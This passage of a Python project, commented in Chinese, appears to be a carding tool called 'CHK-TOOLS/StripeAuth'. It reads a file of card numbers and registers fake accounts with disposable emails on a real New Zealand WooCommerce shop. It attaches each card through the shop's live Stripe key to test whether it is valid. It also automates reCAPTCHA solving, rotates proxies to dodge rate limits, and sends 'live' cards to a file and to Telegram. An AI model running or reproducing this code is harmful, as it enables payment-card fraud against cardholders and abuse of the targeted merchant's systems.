'maildrop.cc', 'nowmymail.com', 'throwawaymail.com', 'mailcatch.com',
'mailnull.com', 'spamavert.com', 'mail-temporaire.fr', 'rcpt.at',
'mailnesia.com', 'spambfree24.org', 'temp-mail.io', 'easytrashmail.com',
'inboxkitten.com', 'trashmail.de', 'wh4f.org', 'vibemail.net',
'spamex.com', 'trbvm.com', 'getairmail.com', 'webemail.me',
]
# Stripe公钥
STRIPE_PK = 'pk_live_51PNnUYCpbsAx05ZQuvx5UVPB6OydHAwDUFaKTeblYjQDucB8985OeQ6ceodC9EhWgClX2wvS7jaVTSNnr0SkektW00mh3KBqQ3'
def __init__(
self,
timeout: int = 15,
max_retries: int = 5,
telegram_token: Optional[str] = None,
telegram_chat_id: Optional[str] = None
):
"""初始化检测器
Args:
timeout: 请求超时时间
max_retries: 最大重试次数
telegram_token: Telegram bot token
telegram_chat_id: Telegram chat ID
"""
self.timeout = timeout
self.max_retries = max_retries
self.telegram_token = telegram_token
self.telegram_chat_id = telegram_chat_id
def _generate_user_data(self) -> Tuple[str, str, str]:
"""生成用户数据(用户名、密码、邮箱)"""
# 生成密码
password = generate_password(10, 16)
# 生成用户名
username_chars = string.ascii_lowercase + string.digits + '._'
alnum = string.ascii_lowercase + string.digits
length = secrets.choice(range(6, 13))
first = secrets.choice(alnum)
last = secrets.choice(alnum)
middle = []
prev = ''
for _ in range(max(0, length - 2)):
ch = secrets.choice(username_chars)
while prev in '._' and ch in '._':
ch = secrets.choice(alnum)
middle.append(ch)
prev = ch
base = first + ''.join(middle) + last
uniq = uuid.uuid4().hex[:4]
username = (base + uniq)[:length]
# 生成临时邮箱
email = f"{username}@{random.choice(self.EMAIL_DOMAINS)}"
return username, password, email
def _solve_recaptcha(self, proxy_rotator: ProxyRotator) -> Optional[str]:
"""求解reCAPTCHA"""
try:
anchor_url = (
'https://www.google.com/recaptcha/api2/anchor?ar=1&'
'k=6LfAYREqAAAAAGMmzJpVy-ZtfdQgCuGSBRx8f321&'
'co=aHR0cHM6Ly93d3cud29tZW5zYWlkLm9yZy51azo0NDM.&'
'hl=en&v=bGi-DxR800FVc7f0siDI2jNQ&size=invisible&'
'anchor-ms=20000&execute-ms=15000&cb=6mmplhhp955x'
)
solver = RecaptchaSolver(timeout=20, proxy_rotator=proxy_rotator)
return solver.solve(anchor_url)
except Exception as e:
logger.warning(f'reCAPTCHA solve failed: {e}')
return None
def check(
self,
card: Card,
session: requests.Session,
proxy_list: Optional[List[str]] = None
) -> CheckResult:
"""检测卡片
Args:
card: 卡片对象
session: requests会话
proxy_list: 代理列表
Returns:
CheckResult对象
"""
# 初始化ID
session_uuid = str(uuid.uuid4())
GUID = str(uuid.uuid4())
MUID = str(uuid.uuid4())
SID = str(uuid.uuid4())
# 查询BIN信息
bin_info = lookup_bin(card.bin, session)
# 生成用户数据
username, password, email = self._generate_user_data()
sleep_random(1, 3)
# 生成时间戳
timeunix = str(int(time.time()))[:7]
ts_now = format_ts(datetime.datetime.now(datetime.timezone.utc))
# 生成Faker数据
fake = Faker('en_US')
first_name = fake.first_name_male()
last_name = fake.last_name_male()
# 代理轮换器
proxy_rotator = ProxyRotator(proxy_list)
tried_proxies = set()
# 重试循环
for attempt in range(1, self.max_retries + 1):
try:
# 选择代理
if proxy_list and len(tried_proxies) >= len(proxy_list):
return CheckResult(
card=card,
status=CheckStatus.UNKNOWN,
message="No proxy available",
bin_info=bin_info
)
proxies = proxy_rotator.get()
if proxies and proxy_list:
proxy_str = proxies.get('http')
if proxy_str in tried_proxies:
continue
tried_proxies.add(proxy_str)
# 1. 求解reCAPTCHA
token = self._solve_recaptcha(proxy_rotator)
if not token:
logger.warning('Failed to solve reCAPTCHA, continuing anyway')
# 2. 访问My Account页面
headers = {
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'user-agent': get_random_ua()
}
response = session.get(
'https://ihorangi.ac.nz/my-account/',
headers=headers,
proxies=proxies,
timeout=self.timeout
)
# 提取nonce
wogreg = gstr(response.text, 'woocommerce-register-nonce" value="', '"')
# 3. 注册账户
headers['content-type'] = 'application/x-www-form-urlencoded'
headers['origin'] = 'https://ihorangi.ac.nz'
headers['referer'] = 'https://ihorangi.ac.nz/my-account/'
data = {
'email': email,
'wc_order_attribution_source_type': 'typein',
'wc_order_attribution_session_start_time': ts_now,
'wc_order_attribution_user_agent': get_random_ua(),
'woocommerce-register-nonce': wogreg,
'_wp_http_referer': '/my-account/',
'register': 'Register'
}
response = session.post(
'https://ihorangi.ac.nz/my-account/',
headers=headers,
data=data,
proxies=proxies,
timeout=self.timeout
)
if response.status_code not in (200, 301, 302):
time.sleep(random.uniform(5, 10))
continue
# 4. 访问支付方式页面
session.get(
'https://ihorangi.ac.nz/my-account/payment-methods/',
headers=headers,
proxies=proxies,
timeout=self.timeout
)
# 5. 获取添加支付方式页面
response = session.get(
'https://ihorangi.ac.nz/my-account/add-payment-method/',
headers=headers,
proxies=proxies,
timeout=self.timeout
)
stpnonce = gstr(response.text, 'createAndConfirmSetupIntentNonce": "', '"')
if not stpnonce:
stpnonce = gstr(response.text, 'createAndConfirmSetupIntentNonce":"', '"')
# 6. Stripe Elements Session
headers = {
'accept': 'application/json',
'content-type': 'application/x-www-form-urlencoded',
'origin': 'https://js.stripe.com',
'referer': 'https://js.stripe.com/',
'user-agent': get_random_ua()
}
url = (
f'https://api.stripe.com/v1/elements/sessions?'
f'deferred_intent[mode]=setup&'
f'deferred_intent[currency]=nzd&'
f'deferred_intent[payment_method_types][0]=card&'
f'deferred_intent[setup_future_usage]=off_session&'
f'currency=nzd&'
f'key={self.STRIPE_PK}&'
f'_stripe_version=2024-06-20&'
f'elements_init_source=stripe.elements&'
f'referrer_host=ihorangi.ac.nz&'
f'stripe_js_id={session_uuid}&'
f'locale=en&'
f'type=deferred_intent'
)
session.get(url, headers=headers, timeout=self.timeout, proxies=proxies)
# 6.1 Link Cookie
headers_link = {
'accept': 'application/json',
'accept-language': 'en-US,en;q=0.9',
'cache-control': 'no-cache',
'content-type': 'application/x-www-form-urlencoded',
'origin': 'https://js.stripe.com',
'pragma': 'no-cache',
'priority': 'u=1, i',
'referer': 'https://js.stripe.com/',
'user-agent': get_random_ua()
}
params_link = {'referrer_host': 'ihorangi.ac.nz'}
session.get(
'https://merchant-ui-api.stripe.com/link/get-cookie',
params=params_link,
headers=headers_link,
proxies=proxies,
timeout=self.timeout
)
# 6.2 hCaptcha Check
headers_hcap = {
'accept': 'application/json',
'accept-language': 'en-US,en;q=0.9',
'cache-control': 'no-cache',
'content-type': 'text/plain',
'origin': 'https://newassets.hcaptcha.com',
'pragma': 'no-cache',
'priority': 'u=1, i',
'referer': 'https://newassets.hcaptcha.com/',
'user-agent': get_random_ua()
}
params_hcap = {
'v': '2e2f9feae51e15dd4676ba8e3d761ec72f41b826',
'host': 'b.stripecdn.com',
'sitekey': '463b917e-e264-403f-ad34-34af0ee10294',
'sc': '1',
'swa': '1',
'spst': '0'
}
session.post(
'https://api.hcaptcha.com/checksiteconfig',
params=params_hcap,
headers=headers_hcap,
proxies=proxies,
timeout=self.timeout
)
# 7. 创建Payment Method
data = (
f'type=card&'
f'card[number]={card.number}&'
f'card[cvc]={card.cvv}&'
f'card[exp_year]={card.year[-2:]}&'
f'card[exp_month]={card.month}&'
f'allow_redisplay=unspecified&'
f'billing_details[address][country]=NZ&'
f'pasted_fields=number%2Ccvc&'
f'payment_user_agent=stripe.js%2F8c194b4c2c%3B+stripe-js-v3%2F8c194b4c2c%3B+payment-element%3B+deferred-intent&'
f'referrer=https%3A%2F%2Fihorangi.ac.nz&'
f'time_on_page={timeunix}&'
f'client_attribution_metadata[client_session_id]=2b694de4-a99f-4708-9cd4-089e3a463ff5&'
f'client_attribution_metadata[merchant_integration_source]=elements&'
f'client_attribution_metadata[merchant_integration_subtype]=payment-element&'
f'client_attribution_metadata[merchant_integration_version]=2021&'
f'client_attribution_metadata[payment_intent_creation_flow]=deferred&'
f'client_attribution_metadata[payment_method_selection_flow]=merchant_specified&'
f'client_attribution_metadata[elements_session_config_id]=47f07f96-4b09-4cf0-9d48-4343573d8fa2&'
f'client_attribution_metadata[merchant_integration_additional_elements][0]=payment&'
f'guid={GUID}&'
f'muid={MUID}&'
f'sid={SID}&'
f'key={self.STRIPE_PK}&'
f'_stripe_version=2024-06-20'
)
headers_pm = {
'accept': 'application/json',
'accept-language': 'en-US,en;q=0.9,id;q=0.8',
'cache-control': 'no-cache',
'content-type': 'application/x-www-form-urlencoded',
'origin': 'https://js.stripe.com',
'pragma': 'no-cache',
'priority': 'u=1, i',
'referer': 'https://js.stripe.com/',
'user-agent': get_random_ua()
}
response = session.post(
'https://api.stripe.com/v1/payment_methods',
headers=headers_pm,
data=data,
timeout=self.timeout,
proxies=proxies
)
if response.status_code != 200:
msg = gstr(response.text, 'message": "', '"')
with print_lock:
print(
f"{Fore.LIGHTRED_EX}{Fore.LIGHTWHITE_EX}{card.formatted} "
f"{Fore.LIGHTWHITE_EX}- {Fore.CYAN}{response.status_code} "
f"{Fore.LIGHTWHITE_EX}- {Fore.LIGHTRED_EX}{msg}{Style.RESET_ALL}"
)
return CheckResult(
card=card,
status=CheckStatus.DEAD,
message=msg or 'payment_methods_failed',
bin_info=bin_info
)
idtoken = gstr(response.text, 'id": "', '"')
# 8. 确认Setup Intent
headers['content-type'] = 'application/x-www-form-urlencoded; charset=UTF-8'
headers['origin'] = 'https://ihorangi.ac.nz'
headers['referer'] = 'https://ihorangi.ac.nz/my-account/add-payment-method/'
headers['x-requested-with'] = 'XMLHttpRequest'
data = {
'action': 'wc_stripe_create_and_confirm_setup_intent',
'wc-stripe-payment-method': idtoken,
'wc-stripe-payment-type': 'card',
'_ajax_nonce': stpnonce
}
response = session.post(
'https://ihorangi.ac.nz/wp-admin/admin-ajax.php',
headers=headers,
data=data,
timeout=self.timeout,
proxies=proxies
)
# 解析结果
result = self._parse_result(response, card, bin_info)
# 处理需要重试的情况
if result.message == 'RETRY':
time.sleep(random.uniform(5, 10))
continue
return result
except KeyboardInterrupt:
sys.exit(1)
except Exception as e:
hint = self._handle_exception(e)
with print_lock:
print(
f"{Fore.LIGHTRED_EX}{Fore.LIGHTWHITE_EX}{card.formatted} "
f"{Fore.LIGHTWHITE_EX}- {Fore.RED}{Fore.YELLOW}{hint}{Style.RESET_ALL}"
)
continue
# 达到最大重试次数
return CheckResult(
card=card,
status=CheckStatus.UNKNOWN,
message="Max attempts reached",
bin_info=bin_info
)
def _parse_result(
self,
response: requests.Response,
card: Card,
bin_info
) -> CheckResult:
"""解析响应结果"""
try:
resp = response.json()
except ValueError:
resp = {}
text = response.text.lower()
text_orig = response.text
# 提取data
if isinstance(resp, dict) and 'data' in resp:
data = resp['data']
else:
data = resp
status = str(data.get('status', '')).lower()
# 检查各种成功情况
if (
(isinstance(resp, dict) and resp.get('success') is True) or
'succeeded' in status or
'succeeded' in text
):
return self._handle_success(card, bin_info, "Succeeded")
# 需要3DS
if 'requires_action' in status or 'requires_action' in text:
with print_lock:
print(
f"{Fore.YELLOW}{Fore.WHITE}{card.formatted} "
f"{Fore.LIGHTWHITE_EX}- {Fore.YELLOW}3DS Required.{Style.RESET_ALL}"
)
return CheckResult(
card=card,
status=CheckStatus.UNKNOWN,
message="3DS required",
bin_info=bin_info
)
# 需要支付方式(通常是拒绝)
if 'requires_payment_method' in status or 'requires_payment_method' in text:
msg = (
gstr(text_orig, 'message": "', '"') or
gstr(text_orig, '"code": "', '"') or
gstr(text_orig, '"decline_code": "', '"')
)
with print_lock:
print(
f"{Fore.RED}{Fore.WHITE}{card.formatted} "
f"{Fore.LIGHTWHITE_EX}- {Fore.RED}{msg}{Style.RESET_ALL}"
)
return CheckResult(
card=card,
status=CheckStatus.DEAD,
message=msg or 'requires_payment_method',
bin_info=bin_info
)
# 余额不足(通常视为成功)
if 'insufficient_funds' in text or 'insufficient funds' in text:
return self._handle_success(card, bin_info, "Insufficient Funds")
# 速率限制
if 'You cannot add a new payment method so soon' in text_orig:
with print_lock:
print(
f"{Fore.LIGHTYELLOW_EX}{Fore.LIGHTWHITE_EX}{card.formatted} "
f"{Fore.LIGHTWHITE_EX}- {Fore.LIGHTYELLOW_EX}RETRY "
f"{Fore.LIGHTWHITE_EX}- {Fore.LIGHTYELLOW_EX}IP temporarily blocked{Style.RESET_ALL}"
)
return CheckResult(
card=card,
status=CheckStatus.UNKNOWN,
message="RETRY",
bin_info=bin_info
)
# 默认失败
msg = gstr(text_orig, 'message":"', '"') or 'Unknown error'
with print_lock:
print(
f"{Fore.LIGHTRED_EX}{Fore.LIGHTWHITE_EX}{card.formatted} "
f"{Fore.LIGHTWHITE_EX}- {Fore.RED}{msg}{Style.RESET_ALL}"
)
return CheckResult(
card=card,
status=CheckStatus.DEAD,
message=msg,
bin_info=bin_info
)
def _handle_success(self, card: Card, bin_info, reason: str) -> CheckResult:
"""处理成功情况"""
with print_lock:
print(
f"{Fore.LIGHTGREEN_EX}{Fore.WHITE}{card.formatted} "
f"{Fore.LIGHTWHITE_EX}- {Fore.GREEN}Charged ({reason}).{Style.RESET_ALL}"
)
# 保存到文件
with file_lock:
with open('approvedcard.txt', 'a', encoding='utf-8') as f:
f.write(f"{card.formatted}|{reason.upper().replace(' ', '_')}|\n")
# 发送Telegram通知
if self.telegram_token and self.telegram_chat_id:
with sent_lock:
card_key = card.formatted
if card_key not in sent_telegram:
msg = (
f"<b>Stripe Charge 0.10$</b>\n\n"
f"<b>CC</b> : <code>{card.formatted}</code>\n"
f"<b>Status</b> : Charged!✅\n"
f"<b>Response</b> : {reason}\n"
f"<b>Gates</b> : Stripe Charge\n\n"
f"<b>Bin</b> : {card.bin} - "
f"<b>Brand</b> : {bin_info.brand} - "
f"<b>Type</b> : {bin_info.card_type} - "
f"<b>Country</b> : {bin_info.country} {bin_info.country_flag} - "
f"<b>Issuer</b> : {bin_info.bank}"
)
send_telegram_message(
self.telegram_token,
self.telegram_chat_id,
msg,
timeout=10
)
sent_telegram.add(card_key)
return CheckResult(
card=card,
status=CheckStatus.LIVE,
message=reason,
bin_info=bin_info
)
def _handle_exception(self, e: Exception) -> str:
"""处理异常并返回友好提示"""
err_msg = str(e).lower()
if isinstance(e, exceptions.ConnectTimeout):
return 'Connection timed out while connecting to host.'
elif isinstance(e, exceptions.ReadTimeout):
return 'Server took too long to respond.'
elif isinstance(e, exceptions.Timeout):
return 'Request timeout.'
elif isinstance(e, socket.timeout):
return 'Socket-level timeout occurred.'
elif isinstance(e, exceptions.ConnectionError):
if 'reset' in err_msg:
return 'Connection reset by peer.'
elif 'refused' in err_msg:
return 'Connection refused.'
elif 'aborted' in err_msg:
return 'Connection aborted.'
return 'General connection error.'
elif isinstance(e, exceptions.ProxyError):
if 'cannot connect' in err_msg:
return 'Proxy unreachable.'
elif 'timed out' in err_msg:
return 'Proxy timeout.'
elif '407' in err_msg:
return 'Proxy authentication required.'
return 'General proxy error.'
elif isinstance(e, (exceptions.SSLError, urllib3.exceptions.SSLError)):
return 'SSL/TLS error.'
elif isinstance(e, exceptions.HTTPError):
if '429' in err_msg:
return 'Rate limited.'
elif '403' in err_msg:
return 'Forbidden.'
return 'HTTP error.'
return f'{type(e).__name__}: {str(e)}'

View File

@@ -0,0 +1,4 @@
"""CLI模块"""
from .app import main
__all__ = ['main']

View File

@@ -0,0 +1,148 @@
"""CLI主应用程序"""
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import init as colorama_init
from ..core.config import MAX_THREADS, DEFAULT_THREADS
from ..cards import parse_card_file, deduplicate_cards
from ..checkers import StripeChecker
from ..integrations import load_proxy_list
from ..models import CheckStatus
from .banner import (
clear_screen,
show_banner,
show_separator,
show_social_info,
show_license_info,
show_statistics,
show_results
)
from .prompts import (
prompt_telegram_config,
prompt_card_file,
prompt_proxy_input,
prompt_threads
)
# 初始化Colorama
colorama_init(autoreset=True)
def main():
"""主函数"""
try:
# 显示欢迎界面
clear_screen()
show_banner('CHK-TOOLS')
show_separator()
show_license_info()
show_separator()
show_social_info()
show_separator()
# 获取Telegram配置
tg_token, tg_chat_id = prompt_telegram_config()
# 获取卡片文件
card_file = prompt_card_file()
# 解析卡片
try:
cards = parse_card_file(card_file)
cards = deduplicate_cards(cards)
except FileNotFoundError:
print(f"\n[ERROR] Unable to read file: {card_file}\n")
return
except UnicodeDecodeError:
print(f"\n[ERROR] File must be in UTF-8 encoding.\n")
return
if not cards:
print(f"\n[ERROR] No card data found in {card_file}\n")
return
# 获取代理配置
proxy_input = prompt_proxy_input()
proxy_list = load_proxy_list(proxy_input)
# 获取线程数
threads = prompt_threads(MAX_THREADS, DEFAULT_THREADS)
# 显示运行信息
clear_screen()
show_banner('StripeAuth')
show_separator()
show_license_info()
show_separator()
show_statistics(
total_cards=len(cards),
proxy_count=len(proxy_list),
threads=threads,
max_retry=MAX_THREADS
)
show_separator()
# 初始化检测器
checker = StripeChecker(
timeout=15,
max_retries=5,
telegram_token=tg_token,
telegram_chat_id=tg_chat_id
)
# 统计变量
cnt_live = 0
cnt_dead = 0
cnt_unknown = 0
start = time.perf_counter()
# 使用线程池执行检测
import requests
with ThreadPoolExecutor(max_workers=threads) as executor:
# 为每个卡片创建独立的session
futures = {}
for card in cards:
session = requests.Session()
future = executor.submit(checker.check, card, session, proxy_list)
futures[future] = session
# 处理完成的任务
for future in as_completed(futures):
session = futures[future]
try:
result = future.result()
if result.status == CheckStatus.LIVE:
cnt_live += 1
elif result.status == CheckStatus.DEAD:
cnt_dead += 1
else:
cnt_unknown += 1
finally:
session.close()
elapsed = time.perf_counter() - start
# 显示结果
show_results(
total_checked=len(cards),
elapsed=elapsed,
live=cnt_live,
dead=cnt_dead,
unknown=cnt_unknown
)
except KeyboardInterrupt:
print('\n\nExit requested.\n')
sys.exit(0)
except Exception as e:
print(f'\n\nError: {e}\n')
raise
if __name__ == '__main__':
main()

View File

@@ -0,0 +1,102 @@
"""Banner和UI显示"""
import os
import random
import pyfiglet
from colorama import Fore, Style
def clear_screen():
"""清理屏幕"""
os.system('cls' if os.name == 'nt' else 'clear')
def pick_gradient():
"""选择随机渐变色(简化版)"""
return ['#ff0000', '#00ff00']
def color_gradient_text(text, gradient):
"""渐变色文本(简化版,直接返回)"""
return text
def show_banner(title: str = 'CHK-TOOLS', font: str = 'ansi_shadow'):
"""显示Banner
Args:
title: Banner标题
font: 字体名称
"""
banner = pyfiglet.figlet_format(title, font=font)
gradient = pick_gradient()
print(color_gradient_text(banner, gradient))
def show_separator():
"""显示分隔线"""
print('- ' * 35)
def show_social_info():
"""显示社交信息"""
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Github {Fore.RED}: {Fore.YELLOW}github.com/KianSantang777")
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Telegram {Fore.RED}: {Fore.YELLOW}t.me/xqndrs")
def show_license_info(license_info: str = "License Active"):
"""显示许可证信息
Args:
license_info: 许可证信息字符串
"""
print(f"{Fore.GREEN}{license_info}{Style.RESET_ALL}")
def show_statistics(
total_cards: int,
proxy_count: int,
threads: int,
max_retry: int,
output_file: str = 'approvedcard.txt'
):
"""显示统计信息
Args:
total_cards: 总卡片数
proxy_count: 代理数量
threads: 线程数
max_retry: 最大重试次数
output_file: 输出文件名
"""
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Total card {Fore.YELLOW}: {Fore.YELLOW}{total_cards}{Style.RESET_ALL}")
if proxy_count > 0:
print(f"{Fore.YELLOW}[✓]{Fore.LIGHTWHITE_EX} Use {Fore.YELLOW}{proxy_count} {Fore.LIGHTWHITE_EX}proxies.")
else:
print(f"{Fore.RED}[x] {Fore.LIGHTWHITE_EX}No proxy loaded. Continuing without proxy.{Style.RESET_ALL}")
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Total threads {Fore.YELLOW}: {Fore.YELLOW}{threads}{Style.RESET_ALL}")
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Max retry {Fore.YELLOW}: {Fore.YELLOW}{max_retry}{Style.RESET_ALL}")
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Live card saved to {Fore.YELLOW}: {Fore.LIGHTGREEN_EX}{output_file}{Style.RESET_ALL}")
def show_results(total_checked: int, elapsed: float, live: int, dead: int, unknown: int):
"""显示最终结果
Args:
total_checked: 总检测数
elapsed: 耗时
live: 活卡数
dead: 死卡数
unknown: 未知数
"""
print('\n' + '- ' * 35)
print(
f"{Style.RESET_ALL}DONE. Checked {Fore.YELLOW}{total_checked}{Style.RESET_ALL} "
f"cards in {Fore.YELLOW}{elapsed:.2f} {Style.RESET_ALL}seconds."
)
print(
f"RESULTS: {Fore.LIGHTGREEN_EX}LIVE: {Style.RESET_ALL}{live}, "
f"{Fore.RED}DEAD: {Style.RESET_ALL}{dead}, "
f"{Fore.LIGHTYELLOW_EX}UNKNOWN: {Style.RESET_ALL}{unknown}\n\n"
)

View File

@@ -0,0 +1,104 @@
"""用户交互提示"""
from colorama import Fore, Style
def prompt_telegram_config():
"""提示输入Telegram配置
Returns:
(token, chat_id) 元组
"""
token = input(
f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Telegram Bot Token "
f"{Fore.MAGENTA}[{Fore.YELLOW}Enter to skip{Fore.MAGENTA}]{Fore.WHITE}: "
).strip()
if not token:
return None, None
chat_id = input(
f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Telegram Chat ID: "
).strip()
if not chat_id:
return None, None
return token, chat_id
def prompt_card_file():
"""提示输入卡片文件路径
Returns:
文件路径
"""
path = input(
f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Enter card file path "
f"(ex: {Fore.YELLOW}card.txt{Style.RESET_ALL}): "
).strip()
return path or 'card.txt'
def prompt_proxy_input():
"""提示输入代理配置
Returns:
代理输入字符串
"""
print(
f"{Fore.RED}[!] {Fore.LIGHTRED_EX}Note: {Fore.YELLOW}"
f"Comma separated, ex: user:pass@ip:port, ip:port:user:pass{Style.RESET_ALL}"
)
proxy_input = input(
f"{Fore.RED}[+] {Fore.LIGHTWHITE_EX}Paste ur proxy kredensials "
f"{Style.RESET_ALL}{Fore.LIGHTBLACK_EX}[Press Enter to skip]{Style.RESET_ALL}: "
).strip()
return proxy_input
def prompt_threads(max_threads: int = 3, default_threads: int = 1):
"""提示输入线程数
Args:
max_threads: 最大线程数
default_threads: 默认线程数
Returns:
线程数
"""
try:
user_input = input(
f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Enter number of threads "
f"(max {Fore.RED}{max_threads}{Style.RESET_ALL}, "
f"default {Fore.LIGHTRED_EX}{default_threads}{Style.RESET_ALL}): "
).strip()
if not user_input:
return default_threads
threads = int(user_input)
if threads < 1:
print(
f"\n{Fore.RESET}[{Fore.LIGHTYELLOW_EX}WARN{Fore.RESET}] "
f"Minimum threads is 1. Using default {default_threads}.{Style.RESET_ALL}"
)
return default_threads
elif threads > max_threads:
print(
f"\n{Fore.RESET}[{Fore.LIGHTYELLOW_EX}WARN{Fore.RESET}] "
f"Max threads is {max_threads}. Using {max_threads} threads.{Style.RESET_ALL}"
)
return max_threads
return threads
except ValueError:
print(
f"{Fore.RESET}[{Fore.LIGHTYELLOW_EX}WARN{Fore.RESET}] "
f"Invalid input. Using default {default_threads} threads.{Style.RESET_ALL}"
)
return default_threads

View File

@@ -0,0 +1,19 @@
"""核心模块"""
from .config import (
MAX_THREADS,
DEFAULT_THREADS,
MIN_THREADS,
DEFAULT_TIMEOUT,
OUTPUT_FILE
)
from .settings import Settings, settings
__all__ = [
'MAX_THREADS',
'DEFAULT_THREADS',
'MIN_THREADS',
'DEFAULT_TIMEOUT',
'OUTPUT_FILE',
'Settings',
'settings',
]

View File

@@ -0,0 +1,16 @@
"""核心配置常量"""
# 线程配置
MAX_THREADS = 3
DEFAULT_THREADS = 1
MIN_THREADS = 1
# 超时配置
DEFAULT_TIMEOUT = 15
RECAPTCHA_TIMEOUT = 20
# 输出文件
OUTPUT_FILE = 'approvedcard.txt'
# 许可证默认标签
DEFAULT_LICENSE_LABEL = 'Stripeauth1'

View File

@@ -0,0 +1,40 @@
"""环境配置管理"""
import os
from typing import Optional
class Settings:
"""应用配置"""
def __init__(self):
"""从环境变量加载配置"""
self.telegram_token: Optional[str] = os.getenv('TELEGRAM_TOKEN')
self.telegram_chat_id: Optional[str] = os.getenv('TELEGRAM_CHAT_ID')
self.max_threads: int = int(os.getenv('MAX_THREADS', '3'))
self.default_threads: int = int(os.getenv('DEFAULT_THREADS', '1'))
self.timeout: int = int(os.getenv('TIMEOUT', '15'))
self.output_file: str = os.getenv('OUTPUT_FILE', 'approvedcard.txt')
@classmethod
def from_env(cls, env_file: str = '.env') -> 'Settings':
"""从.env文件加载配置
Args:
env_file: .env文件路径
Returns:
Settings实例
"""
if os.path.exists(env_file):
with open(env_file, 'r', encoding='utf-8') as f:
for line in f:
line = line.strip()
if line and not line.startswith('#') and '=' in line:
key, value = line.split('=', 1)
os.environ[key.strip()] = value.strip()
return cls()
# 全局设置实例
settings = Settings()

View File

@@ -0,0 +1,11 @@
"""集成模块"""
from .recaptcha import RecaptchaSolver
from .proxy import ProxyRotator, load_proxy_list
from .telegram import send_telegram_message
__all__ = [
'RecaptchaSolver',
'ProxyRotator',
'load_proxy_list',
'send_telegram_message',
]

View File

@@ -0,0 +1,5 @@
"""代理管理模块"""
from .rotator import ProxyRotator
from .loader import load_proxy_list
__all__ = ['ProxyRotator', 'load_proxy_list']

View File

@@ -0,0 +1,24 @@
"""代理加载器"""
import os
from typing import List, Optional
def load_proxy_list(proxy_input: Optional[str]) -> List[str]:
"""加载代理列表
Args:
proxy_input: 代理输入,可以是文件路径或逗号分隔的代理字符串
Returns:
代理列表
"""
if not proxy_input:
return []
# 如果是文件,读取文件内容
if os.path.exists(proxy_input):
with open(proxy_input, 'r', encoding='utf-8') as f:
return [line.strip() for line in f if line.strip()]
# 否则按逗号分割
return [p.strip() for p in proxy_input.split(',') if p.strip()]

View File

@@ -0,0 +1,38 @@
"""代理轮换器"""
import itertools
from typing import Optional, Union, List, Dict
class ProxyRotator:
"""代理轮换器,循环使用代理列表"""
def __init__(self, proxies: Optional[Union[str, List[str]]]):
"""初始化代理轮换器
Args:
proxies: 代理字符串或代理列表
"""
# 如果传入的是单个字符串,转换成列表
if isinstance(proxies, str):
proxies = [proxies]
# 如果列表存在且不为空,创建无限循环迭代器
if proxies:
self._proxies = itertools.cycle(proxies)
else:
self._proxies = None
def get(self) -> Optional[Dict[str, str]]:
"""获取下一个代理
Returns:
代理字典,格式为 {'http': proxy, 'https': proxy}
如果没有代理则返回None
"""
if self._proxies:
proxy = next(self._proxies)
return {
'http': proxy,
'https': proxy
}
return None

View File

@@ -0,0 +1,4 @@
"""reCAPTCHA集成模块"""
from .solver import RecaptchaSolver
__all__ = ['RecaptchaSolver']

View File

@@ -0,0 +1,96 @@
"""reCAPTCHA HTTP客户端"""
import logging
import random
import re
import requests
from .constants import OLD_ANDROID_USER_AGENTS
logger = logging.getLogger(__name__)
class RecaptchaClient:
"""reCAPTCHA请求客户端"""
def __init__(self, timeout, proxy_rotator):
"""初始化客户端
Args:
timeout: 请求超时时间
proxy_rotator: 代理轮换器实例
"""
self.timeout = timeout
self.proxy_rotator = proxy_rotator
self.base_url = 'https://www.google.com/recaptcha'
def _random_headers(self):
"""生成随机请求头伪装成旧版Android设备"""
user_agent = random.choice(OLD_ANDROID_USER_AGENTS)
return {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': user_agent
}
def _request(self, method, endpoint, **kwargs):
"""发送HTTP请求
Args:
method: HTTP方法
endpoint: API端点
**kwargs: 额外的请求参数
Returns:
响应文本失败返回None
"""
url = f"{self.base_url}{endpoint}"
kwargs.setdefault('timeout', self.timeout)
kwargs['headers'] = self._random_headers()
kwargs['proxies'] = self.proxy_rotator.get()
try:
logger.debug('Recaptcha request %s %s params=%s', method, url, kwargs.get('params'))
response = requests.request(method, url, **kwargs)
response.raise_for_status()
logger.debug('Recaptcha response %s %s status=%s', method, url, response.status_code)
return response.text
except requests.RequestException as exc:
logger.warning('Recaptcha request failed %s %s: %s', method, url, exc)
return None
def fetch_anchor_token(self, api_type, params):
"""获取anchor token
Args:
api_type: API类型 (api2/enterprise)
params: 请求参数
Returns:
HTML响应文本
"""
return self._request('GET', f'/{api_type}/anchor', params=params)
def fetch_recaptcha_token(self, api_type, site_key, payload):
"""获取最终的reCAPTCHA token
Args:
api_type: API类型
site_key: 站点密钥
payload: POST数据
Returns:
token字符串失败返回None
"""
text = self._request(
'POST',
f'/{api_type}/reload',
params={'k': site_key},
data=payload
)
if text:
match = re.search(r'"rresp","(.*?)"', text)
if match:
return match.group(1)
return None

View File

@@ -0,0 +1,9 @@
"""旧版Android User-Agent常量"""
OLD_ANDROID_USER_AGENTS = [
"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Nexus 7 Build/JRO03D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30",
"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
"Mozilla/5.0 (Linux; U; Android 3.2; en-us; Xoom Build/HTK75D) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13",
